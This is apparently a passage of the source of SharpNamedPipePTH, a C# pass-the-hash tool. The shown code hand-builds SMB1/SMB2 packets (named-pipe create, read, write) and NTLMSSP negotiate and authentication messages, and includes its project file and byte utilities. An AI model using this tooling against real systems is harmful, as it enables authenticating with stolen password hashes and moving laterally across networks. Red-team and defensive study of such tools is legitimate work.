packet_SMBWriteAndXRequest = new OrderedDictionary(); 182 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WordCount", new byte[] { 0x0e }); 183 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXCommand", new byte[] { 0xff }); 184 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved", new byte[] { 0x00 }); 185 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); 186 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_FID", packet_file_ID); 187 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Offset", new byte[] { 0xea, 0x03, 0x00, 0x00 }); 188 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved2", new byte[] { 0xff, 0xff, 0xff, 0xff }); 189 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WriteMode", new byte[] { 0x08, 0x00 }); 190 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Remaining", packet_write_length); 191 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthHigh", new byte[] { 0x00, 0x00 }); 192 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthLow", packet_write_length); 193 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataOffset", new byte[] { 0x3f, 0x00 }); 194 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_HighOffset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 195 | packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_ByteCount", packet_write_length); 196 | 197 | return packet_SMBWriteAndXRequest; 198 | } 199 | public static OrderedDictionary SMBCloseRequest(byte[] packet_file_ID) 200 | { 201 | 202 | OrderedDictionary packet_SMBCloseRequest = new OrderedDictionary(); 203 | packet_SMBCloseRequest.Add("SMBCloseRequest_WordCount", new byte[] { 0x03 }); 204 | packet_SMBCloseRequest.Add("SMBCloseRequest_FID", packet_file_ID); 205 | packet_SMBCloseRequest.Add("SMBCloseRequest_LastWrite", new byte[] { 0xff, 0xff, 0xff, 0xff }); 206 | packet_SMBCloseRequest.Add("SMBCloseRequest_ByteCount", new byte[] { 0x00, 0x00 }); 207 | 208 | return packet_SMBCloseRequest; 209 | } 210 | public static OrderedDictionary SMBTreeDisconnectRequest() 211 | { 212 | OrderedDictionary packet_SMBTreeDisconnectRequest = new OrderedDictionary(); 213 | packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_WordCount", new byte[] { 0x00 }); 214 | packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_ByteCount", new byte[] { 0x00, 0x00 }); 215 | return packet_SMBTreeDisconnectRequest; 216 | } 217 | public static OrderedDictionary SMBLogoffAndXRequest() 218 | { 219 | OrderedDictionary packet_SMBLogoffAndXRequest = new OrderedDictionary(); 220 | packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_WordCount", new byte[] { 0x02 }); 221 | packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXCommand", new byte[] { 0xff }); 222 | packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_Reserved", new byte[] { 0x00 }); 223 | packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); 224 | packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_ByteCount", new byte[] { 0x00, 0x00 }); 225 | return packet_SMBLogoffAndXRequest; 226 | } 227 | #endregion 228 | #region SMBv2 229 | //public static OrderedDictionary SMB2Header(byte[] packet_command,bool SMB_signing, int packet_message_ID, byte[] process_id, byte[] packet_tree_ID, byte[] packet_session_ID) 230 | public static OrderedDictionary SMB2Header(byte[] packet_command, int packet_message_ID, byte[] packet_tree_ID, byte[] packet_session_ID) 231 | { 232 | 233 | byte[] message_ID = BitConverter.GetBytes(packet_message_ID); 234 | 235 | if (message_ID.Length == 4) 236 | { 237 | message_ID = message_ID.Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); 238 | //message_ID = Utilities.CombineByteArray(message_ID, new byte[] { 0x00, 0x00, 0x00, 0x00 }); 239 | } 240 | 241 | OrderedDictionary packet_SMB2Header = new OrderedDictionary(); 242 | packet_SMB2Header.Add("SMB2Header_ProtocolID", new byte[] { 0xfe, 0x53, 0x4d, 0x42 }); 243 | packet_SMB2Header.Add("SMB2Header_StructureSize", new byte[] { 0x40, 0x00 }); 244 | packet_SMB2Header.Add("SMB2Header_CreditCharge", new byte[] { 0x01, 0x00 }); 245 | packet_SMB2Header.Add("SMB2Header_ChannelSequence", new byte[] { 0x00, 0x00 }); 246 | packet_SMB2Header.Add("SMB2Header_Reserved", new byte[] { 0x00, 0x00 }); 247 | packet_SMB2Header.Add("SMB2Header_Command", packet_command); 248 | packet_SMB2Header.Add("SMB2Header_CreditRequest", new byte[] { 0x00, 0x00 }); 249 | packet_SMB2Header.Add("SMB2Header_Flags", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 250 | packet_SMB2Header.Add("SMB2Header_NextCommand", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 251 | packet_SMB2Header.Add("SMB2Header_MessageID", message_ID); 252 | packet_SMB2Header.Add("SMB2Header_Reserved2", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 253 | packet_SMB2Header.Add("SMB2Header_TreeID", packet_tree_ID); 254 | packet_SMB2Header.Add("SMB2Header_SessionID", packet_session_ID); 255 | packet_SMB2Header.Add("SMB2Header_Signature", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); 256 | 257 | return packet_SMB2Header; 258 | 259 | } 260 | public static OrderedDictionary SMB2NegotiateProtocolRequest() 261 | { 262 | OrderedDictionary packet_SMB2NegotiateProtocolRequest = new OrderedDictionary(); 263 | packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize", new byte[] { 0x24, 0x00 }); 264 | packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount", new byte[] { 0x02, 0x00 }); 265 | packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode", new byte[] { 0x01, 0x00 }); 266 | packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved", new byte[] { 0x00, 0x00 }); 267 | packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities", new byte[] { 0x40, 0x00, 0x00, 0x00 }); 268 | packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); 269 | packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 270 | packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount", new byte[] { 0x00, 0x00 }); 271 | packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2", new byte[] { 0x00, 0x00 }); 272 | packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect", new byte[] { 0x02, 0x02 }); 273 | packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2", new byte[] { 0x10, 0x02 }); 274 | 275 | return packet_SMB2NegotiateProtocolRequest; 276 | } 277 | public static OrderedDictionary SMB2SessionSetupRequest(byte[] packet_security_blob) 278 | { 279 | byte[] packet_security_blob_length = BitConverter.GetBytes(packet_security_blob.Length); 280 | byte[] packet_security_blob_length2 = { packet_security_blob_length[0], packet_security_blob_length[1] }; 281 | 282 | OrderedDictionary packet_SMB2SessionSetupRequest = new OrderedDictionary(); 283 | packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize", new byte[] { 0x19, 0x00 }); 284 | packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags", new byte[] { 0x00 }); 285 | packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode", new byte[] { 0x01 }); 286 | packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 287 | packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 288 | packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset", new byte[] { 0x58, 0x00 }); 289 | packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength", packet_security_blob_length2); 290 | packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); 291 | packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer", packet_security_blob); 292 | 293 | return packet_SMB2SessionSetupRequest; 294 | } 295 | public static OrderedDictionary SMB2TreeConnectRequest(byte[] packet_path) 296 | { 297 | 298 | byte[] packet_path_length = BitConverter.GetBytes(packet_path.Length); 299 | packet_path_length = new byte[] { packet_path_length[0], packet_path_length[1] }; 300 | OrderedDictionary packet_SMB2TreeConnectRequest = new OrderedDictionary(); 301 | packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize", new byte[] { 0x09, 0x00 }); 302 | packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved", new byte[] { 0x00, 0x00 }); 303 | packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset", new byte[] { 0x48, 0x00 }); 304 | packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength", packet_path_length); 305 | packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer", packet_path); 306 | 307 | return packet_SMB2TreeConnectRequest; 308 | } 309 | public static OrderedDictionary SMB2CreateRequestFile(byte[] packet_named_pipe) 310 | { 311 | byte[] packet_named_pipe_length = BitConverter.GetBytes(packet_named_pipe.Length); 312 | byte[] packet_named_pipe_length2 = { packet_named_pipe_length[0], packet_named_pipe_length[1] }; 313 | OrderedDictionary packet_SMB2CreateRequestFile = new OrderedDictionary(); 314 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_StructureSize", new byte[] { 0x39, 0x00 }); 315 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Flags", new byte[] { 0x00 }); 316 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_RequestedOplockLevel", new byte[] { 0x00 }); 317 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Impersonation", new byte[] { 0x02, 0x00, 0x00, 0x00 }); 318 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_SMBCreateFlags", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); 319 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Reserved", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); 320 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_DesiredAccess", new byte[] { 0x03, 0x00, 0x00, 0x00 }); 321 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_FileAttributes", new byte[] { 0x80, 0x00, 0x00, 0x00 }); 322 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_ShareAccess", new byte[] { 0x01, 0x00, 0x00, 0x00 }); 323 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateDisposition", new byte[] { 0x01, 0x00, 0x00, 0x00 }); 324 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateOptions", new byte[] { 0x40, 0x00, 0x00, 0x00 }); 325 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameOffset", new byte[] { 0x78, 0x00 }); 326 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameLength", packet_named_pipe_length2); 327 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsOffset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 328 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsLength", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 329 | packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Buffer", packet_named_pipe); 330 | 331 | return packet_SMB2CreateRequestFile; 332 | 333 | } 334 | public static OrderedDictionary SMB2ReadRequest(byte[] packet_file_ID) 335 | { 336 | OrderedDictionary packet_SMB2ReadRequest = new OrderedDictionary(); 337 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize", new byte[] { 0x31, 0x00 }); 338 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding", new byte[] { 0x50 }); 339 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags", new byte[] { 0x00 }); 340 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length", new byte[] { 0x00, 0x00, 0x10, 0x00 }); 341 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); 342 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID", packet_file_ID); 343 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 344 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 345 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 346 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset", new byte[] { 0x00, 0x00 }); 347 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength", new byte[] { 0x00, 0x00 }); 348 | packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer", new byte[] { 0x30 }); 349 | 350 | return packet_SMB2ReadRequest; 351 | } 352 | public static OrderedDictionary SMB2WriteRequest(byte[] packet_file_ID, int packet_RPC_length) 353 | { 354 | 355 | 356 | byte[] packet_write_length = BitConverter.GetBytes(packet_RPC_length); 357 | OrderedDictionary packet_SMB2WriteRequest = new OrderedDictionary(); 358 | packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize", new byte[] { 0x31, 0x00 }); 359 | packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset", new byte[] { 0x70, 0x00 }); 360 | packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length", packet_write_length); 361 | packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); 362 | packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID", packet_file_ID); 363 | packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 364 | packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 365 | packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset", new byte[] { 0x00, 0x00 }); 366 | packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength", new byte[] { 0x00, 0x00 }); 367 | packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 368 | 369 | 370 | return packet_SMB2WriteRequest; 371 | } 372 | public static OrderedDictionary SMB2CloseRequest(byte[] packet_file_ID) 373 | { 374 | OrderedDictionary packet_SMB2CloseRequest = new OrderedDictionary(); 375 | packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize", new byte[] { 0x18, 0x00 }); 376 | packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags", new byte[] { 0x00, 0x00 }); 377 | packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 378 | packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID", packet_file_ID); 379 | return packet_SMB2CloseRequest; 380 | } 381 | public static OrderedDictionary SMB2TreeDisconnectRequest() 382 | { 383 | OrderedDictionary packet_SMB2TreeDisconnectRequest = new OrderedDictionary(); 384 | packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize", new byte[] { 0x04, 0x00 }); 385 | packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved", new byte[] { 0x00, 0x00 }); 386 | return packet_SMB2TreeDisconnectRequest; 387 | } 388 | public static OrderedDictionary SMB2SessionLogoffRequest() 389 | { 390 | OrderedDictionary packet_SMB2SessionLogoffRequest = new OrderedDictionary(); 391 | packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize", new byte[] { 0x04, 0x00 }); 392 | packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved", new byte[] { 0x00, 0x00 }); 393 | return packet_SMB2SessionLogoffRequest; 394 | } 395 | public static OrderedDictionary NTLMSSPNegotiate(byte[] packet_negotiate_flags, byte[] packet_version) 396 | { 397 | byte[] packet_NTLMSSP_length; 398 | //There may be issues here, we will see. 399 | if (packet_version != null) 400 | { 401 | packet_NTLMSSP_length = BitConverter.GetBytes(32 + packet_version.Length); 402 | } 403 | else 404 | { 405 | packet_NTLMSSP_length = BitConverter.GetBytes(32); 406 | } 407 | byte[] packet_NTLMSSP_length2 = { packet_NTLMSSP_length[0] }; 408 | 409 | int packet_ASN_length_1 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 32; 410 | byte[] packet_ASN_length_1_2 = (BitConverter.GetBytes(packet_ASN_length_1)); 411 | 412 | int packet_ASN_length_2 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 22; 413 | byte[] packet_ASN_length_2_2 = (BitConverter.GetBytes(packet_ASN_length_2)); 414 | 415 | int packet_ASN_length_3 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 20; 416 | byte[] packet_ASN_length_3_2 = (BitConverter.GetBytes(packet_ASN_length_3)); 417 | 418 | int packet_ASN_length_4 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 2; 419 | byte[] packet_ASN_length_4_2 = BitConverter.GetBytes(packet_ASN_length_4); 420 | 421 | 422 | OrderedDictionary packet_NTLMSSPNegotiate = new OrderedDictionary(); 423 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID", new byte[] { 0x60 }); // the ASN.1 key names are likely not all correct 424 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength", new byte[] { packet_ASN_length_1_2[0] }); 425 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID", new byte[] { 0x06 }); 426 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength", new byte[] { 0x06 }); 427 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID", new byte[] { 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02 }); 428 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID", new byte[] { 0xa0 }); 429 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength", new byte[] { packet_ASN_length_2_2[0] }); 430 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2", new byte[] { 0x30 }); 431 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2", new byte[] { packet_ASN_length_3_2[0] }); 432 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID", new byte[] { 0xa0 }); 433 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength", new byte[] { 0x0e }); 434 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2", new byte[] { 0x30 }); 435 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2", new byte[] { 0x0c }); 436 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3", new byte[] { 0x06 }); 437 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3", new byte[] { 0x0a }); 438 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType", new byte[] { 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0a }); 439 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID", new byte[] { 0xa2 }); 440 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength", new byte[] { packet_ASN_length_4_2[0] }); 441 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID", new byte[] { 0x04 }); 442 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength", new byte[] { packet_NTLMSSP_length2[0] }); 443 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier", new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }); 444 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType", new byte[] { 0x01, 0x00, 0x00, 0x00 }); 445 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags", packet_negotiate_flags); 446 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); 447 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); 448 | 449 | if (packet_version != null) 450 | { 451 | packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version", packet_version); 452 | } 453 | 454 | return packet_NTLMSSPNegotiate; 455 | 456 | 457 | } 458 | public static OrderedDictionary NTLMSSPAuth(byte[] packet_NTLM_response) 459 | { 460 | 461 | 462 | byte[] packet_NTLMSSP_length = BitConverter.GetBytes(packet_NTLM_response.Length); 463 | packet_NTLMSSP_length = new byte[] { packet_NTLMSSP_length[1], packet_NTLMSSP_length[0] }; 464 | byte[] packet_ASN_length_1 = BitConverter.GetBytes(packet_NTLM_response.Length + 12); 465 | byte[] packet_ASN_length_1_2 = { packet_ASN_length_1[1], packet_ASN_length_1[0] }; 466 | byte[] packet_ASN_length_2 = BitConverter.GetBytes(packet_NTLM_response.Length + 8); 467 | byte[] packet_ASN_length_2_2 = { packet_ASN_length_2[1], packet_ASN_length_2[0] }; 468 | byte[] packet_ASN_length_3 = BitConverter.GetBytes(packet_NTLM_response.Length + 4); 469 | byte[] packet_ASN_length_3_2 = { packet_ASN_length_3[1], packet_ASN_length_3[0] }; 470 | 471 | 472 | 473 | OrderedDictionary packet_NTLMSSPAuth = new OrderedDictionary(); 474 | packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID", new byte[] { 0xa1, 0x82 }); 475 | packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength", packet_ASN_length_1_2); 476 | packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2", new byte[] { 0x30, 0x82 }); 477 | packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2", packet_ASN_length_2_2); 478 | packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3", new byte[] { 0xa2, 0x82 }); 479 | packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3", packet_ASN_length_3_2); 480 | packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID", new byte[] { 0x04, 0x82 }); 481 | packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength", packet_NTLMSSP_length); 482 | packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse", packet_NTLM_response); 483 | 484 | return packet_NTLMSSPAuth; 485 | 486 | } 487 | 488 | #endregion 489 | 490 | } 491 | } 492 | -------------------------------------------------------------------------------- /SharpNamedPipePTH/SharpNamedPipePTH.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {344EE55A-4E32-46F2-A003-69AD52B55945} 8 | Exe 9 | Properties 10 | SharpInvoke_SMBConnect 11 | SharpNamedPipePTH 12 | v4.6 13 | 512 14 | true 15 | 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | false 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | false 37 | 38 | 39 | 40 | ..\packages\PowerArgs.Dev.2.7.1.0\lib\net45\PowerArgs.dll 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 70 | -------------------------------------------------------------------------------- /SharpNamedPipePTH/Utilities.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections; 3 | using System.Collections.Generic; 4 | using System.Collections.Specialized; 5 | using System.Linq; 6 | 7 | namespace SharpNamedPipePTH 8 | { 9 | class Utilities 10 | { 11 | public static ushort DataLength(int length_start, byte[] string_extract_data) 12 | { 13 | byte[] bytes = { string_extract_data[length_start], string_extract_data[length_start + 1] }; 14 | ushort string_length = BitConverter.ToUInt16(GetByteRange(string_extract_data, length_start, length_start + 1), 0); 15 | return string_length; 16 | } 17 | public static byte[] GetByteRange(byte[] array, int start, int end) 18 | { 19 | var newArray = array.Skip(start).Take(end - start + 1).ToArray(); 20 | return newArray; 21 | } 22 | 23 | public static byte[] ConvertStringToByteArray(string hex) 24 | { 25 | return Enumerable.Range(0, hex.Length) 26 | .Where(x => x % 2 == 0) 27 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) 28 | .ToArray(); 29 | } 30 | 31 | public static byte[] ConvertFromPacketOrderedDictionary(OrderedDictionary packet_ordered_dictionary) 32 | { 33 | List byte_list = new List(); 34 | foreach (DictionaryEntry de in packet_ordered_dictionary) 35 | { 36 | byte_list.Add(de.Value as byte[]); 37 | } 38 | 39 | var flattenedList = byte_list.SelectMany(bytes => bytes); 40 | byte[] byte_Array = flattenedList.ToArray(); 41 | 42 | return byte_Array; 43 | } 44 | } 45 | } 46 | --------------------------------------------------------------------------------